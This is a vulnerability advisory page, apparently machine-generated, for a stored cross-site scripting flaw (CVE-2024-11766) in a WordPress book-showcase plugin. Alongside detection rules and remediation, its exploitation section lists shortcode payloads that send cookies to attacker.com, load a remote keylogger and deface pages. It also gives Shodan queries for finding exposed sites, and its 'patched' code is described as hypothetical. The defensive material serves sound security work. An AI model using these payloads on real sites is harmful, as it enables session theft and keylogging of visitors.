☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11766

CVE-2024-11766 Cross-Site Scripting in Gs plugins
📅 PUBLISHED: 2024-12-12 05:24 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11766 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin GS Books Showcase (versions up to and including 1.3.1). The flaw resides in the gs_book_showcase shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is used to display books in grid, flip, slider, and popup layouts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: Required (Victim visits page)
  • Scope: Changed (Impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored nature of the XSS increases the potential for widespread impact within a WordPress site.

Deep Dive & Mechanics

The vulnerability exists in the gs_book_showcase shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, author, category). When the shortcode is rendered, these attributes are directly embedded into the HTML output without proper encoding.

Attack Flow:

  1. An attacker with contributor-level access creates or edits a post/page.
  2. The attacker inserts the [gs_book_showcase] shortcode with a malicious attribute, such as: [gs_book_showcase title="<script>alert('XSS')</script>"]
  3. The plugin processes the shortcode and outputs the unsanitized attribute into the page HTML.
  4. When any user (including admins) views the page, the script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo or print without applying WordPress escaping functions like esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (v1.3.1):

// In shortcode handler
$title = $atts['title'];
echo "<div class='gs-book-title'>$title</div>";

Patched Code (Hypothetical):

// Properly escaped
$title = esc_attr($atts['title']);
echo "<div class='gs-book-title'>" . esc_html($title) . "</div>";

The patched version would use esc_attr() for attribute values and esc_html() for HTML content, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with GS Books Showcase plugin <= 1.3.1
  • Contributor-level account or higher

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the post content:
    [gs_book_showcase title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
    
  4. Publish or save the post.
  5. Wait for an administrator or other user to view the post.
  6. The script executes, exfiltrating cookies to the attacker's server.

Alternative Payloads:

  • Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
  • Keylogging: <script src='https://attacker.com/keylogger.js'></script>

Blue Team (Detection & Response)

Detection:

  • Monitor for posts containing shortcodes with suspicious attributes (e.g., <script>, onload=, javascript:).
  • Review contributor-level user activity for unusual shortcode usage.
  • Use WAF rules to block XSS payloads in shortcode attributes.

Response:

  1. Immediately disable the GS Books Showcase plugin.
  2. Remove or sanitize any malicious posts/pages.
  3. Reset all user sessions and force password changes.
  4. Audit contributor-level accounts for unauthorized access.
  5. Apply the patch once available.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/gs-books-showcase/ (entire plugin directory)
  • Shortcode pattern: [gs_book_showcase title="<script>...</script>"]
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
  • Logs: WordPress audit logs showing shortcode insertion by contributor-level users
  • Browser: Unexpected JavaScript execution on pages using the gs_book_showcase shortcode

Detection Engineering

YARA Rule

rule CVE_2024_11766_GS_Books_Showcase_XSS {
    meta:
        description = "Detects malicious shortcode attributes in GS Books Showcase plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-11766"
    strings:
        $shortcode = /\[gs_book_showcase\s+[^\]]*?(?:<script|on\w+=|javascript:)/i
        $plugin_file = "gs-books-showcase.php"
    condition:
        $shortcode or $plugin_file
}

Sigma Rule

title: CVE-2024-11766 - Stored XSS via GS Books Showcase Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in GS Books Showcase plugin
author: Valters IT
date: 2025/04/17
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # WordPress audit log event for post creation/update
        PostContent|contains: '[gs_book_showcase'
        PostContent|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11766 - GS Books Showcase Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gs_book_showcase"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Remove or sanitize any posts/pages containing the malicious shortcode.
  3. Review and restrict contributor-level user permissions.

Long-term Fix:

  • Apply the official patch from the plugin vendor once released.
  • If no patch is forthcoming, consider replacing the plugin with an alternative.

Mitigation Controls:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers to block inline scripts.
  • Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
  • Regularly audit user roles and permissions.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"gs_book_showcase"
http.html:"wp-content/plugins/gs-books-showcase"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11766/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.